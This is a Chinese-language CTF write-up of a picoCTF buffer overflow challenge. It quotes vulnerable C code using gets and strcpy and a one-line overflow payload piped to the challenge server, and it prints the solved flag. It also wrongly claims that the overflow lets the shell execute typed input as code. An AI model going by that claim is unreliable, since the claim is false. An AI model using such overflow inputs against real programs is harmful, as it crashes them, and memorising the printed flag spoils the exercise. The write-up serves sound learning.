今天要挑戰的題目是:
題目給的提示非常明顯,觸發 buffer overflow 讓程式崩潰,並藉由 SIGEGV handler 印出 Flag 。
預期結果:
解題流程與思路
一、讀程式碼:
head -n 200 vuln.c
程式碼重點分析:
int main() {
...
char buf1[100];
gets(buf1); // 漏洞 1:無邊界檢查
vuln(buf1); // 漏洞 2:strcpy 可能溢位 buf2
...
}
void sigsegv_handler(int sig) {
printf("%s\n", flag); // 關鍵:程式崩潰時自動印出 flag
exit(1);
}
二、- 建立一個假的 flag.txt 然後執行程式輸入長字串:
echo "FAKEFLAG{test_flag}" > flag.txt
./vuln
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
系統會輸出:
-bash: AAAAA...: command not found
代表輸入完一大串 A 之後,shell 會把 Overflow 之後的 AAAAAAAA... 當成一個「指令」來執行,結果當然找不到這個指令,所以顯示無法找到。
透果此操作可得知,若後續輸入的文字為程式碼,即可讓系統執行我的程式。
三、觸發 sigsegv_handler,讓系統自動把 flag 印出來:
python3 -c 'print("A"*200)' | nc saturn.picoctf.net 12345
得到正確答案:picoCTF{ov3rfl0ws_ar3nt_that_bad_9f2364bc}
小小心得
這題是非常經典的 buffer overflow 題,透過這次挑戰,我學習了 stack overflow 的基本概念,也學會了如何在 CTF 中快速辨識漏洞點、設計 payload、並利用程式的行為來反向拿到 flag。
最有趣的是,這題不需要精準控制記憶體,只要讓程式「崩潰」就能成功,這讓我重新思考 exploit 的本質:不是一定要控制程式流程,有時候只要觸發特定事件就能達成目的。
此外,這次我也練習了如何撰寫自動化腳本,讓 exploit 更快速、更穩定。